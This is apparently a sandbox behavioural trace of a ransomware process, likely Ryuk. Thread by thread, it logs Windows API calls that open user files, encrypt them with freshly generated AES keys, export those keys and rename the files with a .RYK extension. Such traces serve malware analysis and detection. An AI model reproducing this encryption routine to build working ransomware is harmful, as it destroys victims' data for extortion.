	[0262.458] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.458] GetFileSizeEx (in: hFile=0x74c, lpFileSize=0x8c6f8b8 | out: lpFileSize=0x8c6f8b8*=1122) returned 1
	[0262.458] GetFileSizeEx (in: hFile=0x74c, lpFileSize=0x8c6f8c8 | out: lpFileSize=0x8c6f8c8*=1122) returned 1
	[0262.458] SetFilePointerEx (in: hFile=0x74c, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0262.458] ReadFile (in: hFile=0x74c, lpBuffer=0x8c6f910, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c6f880, lpOverlapped=0x0 | out: lpBuffer=0x8c6f910*, lpNumberOfBytesRead=0x8c6f880*=0x19, lpOverlapped=0x0) returned 1
	[0262.478] SetFilePointer (in: hFile=0x74c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0262.478] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8c6f898 | out: phKey=0x8c6f898*=0x3f7ee0) returned 1
	[0262.478] SetFilePointer (in: hFile=0x74c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0262.482] ReadFile (in: hFile=0x74c, lpBuffer=0x3180000, nNumberOfBytesToRead=0x462, lpNumberOfBytesRead=0x8c6f8a4, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesRead=0x8c6f8a4*=0x462, lpOverlapped=0x0) returned 1
	[0262.482] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c6f8a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c6f8a0*=0xf4250) returned 1
	[0262.482] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x8c6f8a8*=0x462, dwBufLen=0xf4250 | out: pbData=0x3180000*, pdwDataLen=0x8c6f8a8*=0x470) returned 1
	[0262.482] SetFilePointer (in: hFile=0x74c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0262.482] WriteFile (in: hFile=0x74c, lpBuffer=0x3180000*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x8c6f8a4, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesWritten=0x8c6f8a4*=0x470, lpOverlapped=0x0) returned 1
	[0262.482] WriteFile (in: hFile=0x74c, lpBuffer=0x8c6f8d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c6f8b0, lpOverlapped=0x0 | out: lpBuffer=0x8c6f8d0*, lpNumberOfBytesWritten=0x8c6f8b0*=0x6, lpOverlapped=0x0) returned 1
	[0262.483] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c6f8c0 | out: pbData=0x0*, pdwDataLen=0x8c6f8c0*=0x10c) returned 1
	[0262.483] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c6f930, pdwDataLen=0x8c6f8c0 | out: pbData=0x8c6f930*, pdwDataLen=0x8c6f8c0*=0x10c) returned 1
	[0262.483] WriteFile (in: hFile=0x74c, lpBuffer=0x8c6f930*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c6f8b0, lpOverlapped=0x0 | out: lpBuffer=0x8c6f930*, lpNumberOfBytesWritten=0x8c6f8b0*=0x10c, lpOverlapped=0x0) returned 1
	[0262.483] CloseHandle (hObject=0x74c) returned 1
	[0262.484] CryptDestroyKey (hKey=0x3f7ee0) returned 1
	[0262.484] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3604
	os_tid = 0x3db8

	[0262.470] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi", dwFileAttributes=0x80) returned 1
	[0262.471] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0262.471] GetFileSizeEx (in: hFile=0x748, lpFileSize=0x935fa38 | out: lpFileSize=0x935fa38*=185) returned 1
	[0262.471] GetFileSizeEx (in: hFile=0x748, lpFileSize=0x935fa48 | out: lpFileSize=0x935fa48*=185) returned 1
	[0262.472] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x935fa18 | out: phKey=0x935fa18*=0x3f7ee0) returned 1
	[0262.472] SetFilePointer (in: hFile=0x748, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0262.472] ReadFile (in: hFile=0x748, lpBuffer=0x2b00000, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x935fa24, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesRead=0x935fa24*=0xb9, lpOverlapped=0x0) returned 1
	[0262.474] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x935fa20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x935fa20*=0xf4250) returned 1
	[0262.474] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x935fa28*=0xb9, dwBufLen=0xf4250 | out: pbData=0x2b00000*, pdwDataLen=0x935fa28*=0xc0) returned 1
	[0262.474] SetFilePointer (in: hFile=0x748, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0262.474] WriteFile (in: hFile=0x748, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x935fa24, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x935fa24*=0xc0, lpOverlapped=0x0) returned 1
	[0262.474] WriteFile (in: hFile=0x748, lpBuffer=0x935fa50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x935fa30, lpOverlapped=0x0 | out: lpBuffer=0x935fa50*, lpNumberOfBytesWritten=0x935fa30*=0x6, lpOverlapped=0x0) returned 1
	[0262.474] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x935fa40 | out: pbData=0x0*, pdwDataLen=0x935fa40*=0x10c) returned 1
	[0262.475] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x935fab0, pdwDataLen=0x935fa40 | out: pbData=0x935fab0*, pdwDataLen=0x935fa40*=0x10c) returned 1
	[0262.475] WriteFile (in: hFile=0x748, lpBuffer=0x935fab0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x935fa30, lpOverlapped=0x0 | out: lpBuffer=0x935fab0*, lpNumberOfBytesWritten=0x935fa30*=0x10c, lpOverlapped=0x0) returned 1
	[0262.475] CloseHandle (hObject=0x748) returned 1
	[0262.476] CryptDestroyKey (hKey=0x3f7ee0) returned 1
	[0262.476] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3605
	os_tid = 0x3dbc

	[0262.510] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", dwFileAttributes=0x80) returned 0
	[0262.510] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.510] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.511] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3606
	os_tid = 0x3dc0

	[0262.626] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat", dwFileAttributes=0x80) returned 1
	[0262.627] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x758
	[0262.627] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x8f6f9d8 | out: lpFileSize=0x8f6f9d8*=101600) returned 1
	[0262.627] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x8f6f9e8 | out: lpFileSize=0x8f6f9e8*=101600) returned 1
	[0262.627] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x18bbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0262.627] ReadFile (in: hFile=0x758, lpBuffer=0x8f6fa30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f6f9a0, lpOverlapped=0x0 | out: lpBuffer=0x8f6fa30*, lpNumberOfBytesRead=0x8f6f9a0*=0x19, lpOverlapped=0x0) returned 1
	[0262.629] SetFilePointer (in: hFile=0x758, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0262.629] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8f6f9b8 | out: phKey=0x8f6f9b8*=0x3f7ee0) returned 1
	[0262.630] SetFilePointer (in: hFile=0x758, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0262.630] ReadFile (in: hFile=0x758, lpBuffer=0x3080000, nNumberOfBytesToRead=0x18ce0, lpNumberOfBytesRead=0x8f6f9c4, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x8f6f9c4*=0x18ce0, lpOverlapped=0x0) returned 1
	[0262.631] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8f6f9c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8f6f9c0*=0xf4250) returned 1
	[0262.631] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x8f6f9c8*=0x18ce0, dwBufLen=0xf4250 | out: pbData=0x3080000*, pdwDataLen=0x8f6f9c8*=0x18cf0) returned 1
	[0262.632] SetFilePointer (in: hFile=0x758, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0262.632] WriteFile (in: hFile=0x758, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0x18cf0, lpNumberOfBytesWritten=0x8f6f9c4, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x8f6f9c4*=0x18cf0, lpOverlapped=0x0) returned 1
	[0262.633] WriteFile (in: hFile=0x758, lpBuffer=0x8f6f9f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8f6f9d0, lpOverlapped=0x0 | out: lpBuffer=0x8f6f9f0*, lpNumberOfBytesWritten=0x8f6f9d0*=0x6, lpOverlapped=0x0) returned 1
	[0262.633] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8f6f9e0 | out: pbData=0x0*, pdwDataLen=0x8f6f9e0*=0x10c) returned 1
	[0262.633] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8f6fa50, pdwDataLen=0x8f6f9e0 | out: pbData=0x8f6fa50*, pdwDataLen=0x8f6f9e0*=0x10c) returned 1
	[0262.633] WriteFile (in: hFile=0x758, lpBuffer=0x8f6fa50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8f6f9d0, lpOverlapped=0x0 | out: lpBuffer=0x8f6fa50*, lpNumberOfBytesWritten=0x8f6f9d0*=0x10c, lpOverlapped=0x0) returned 1
	[0262.633] CloseHandle (hObject=0x758) returned 1
	[0262.635] CryptDestroyKey (hKey=0x3f7ee0) returned 1
	[0262.635] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3607
	os_tid = 0x3dc4

	[0262.641] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat", dwFileAttributes=0x80) returned 1
	[0262.642] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x758
	[0262.642] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x91cf778 | out: lpFileSize=0x91cf778*=128290) returned 1
	[0262.642] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x91cf788 | out: lpFileSize=0x91cf788*=128290) returned 1
	[0262.642] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x1f400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0262.642] ReadFile (in: hFile=0x758, lpBuffer=0x91cf7d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x91cf740, lpOverlapped=0x0 | out: lpBuffer=0x91cf7d0*, lpNumberOfBytesRead=0x91cf740*=0x19, lpOverlapped=0x0) returned 1
	[0262.644] CloseHandle (hObject=0x758) returned 1
	[0262.644] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat.ryk"), dwFlags=0x8) returned 1
	[0262.648] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3648
	os_tid = 0x3e68


Thread:
	id = 3649
	os_tid = 0x3e7c

	[0267.395] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", dwFileAttributes=0x80) returned 0
	[0267.396] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.396] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0267.396] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3650
	os_tid = 0x3e80

	[0267.397] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", dwFileAttributes=0x80) returned 0
	[0267.397] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.397] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0267.397] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3651
	os_tid = 0x3e84

	[0267.398] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", dwFileAttributes=0x80) returned 0
	[0267.398] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.398] CloseHandle (hObject=0xffffffffffffffff) returned 0
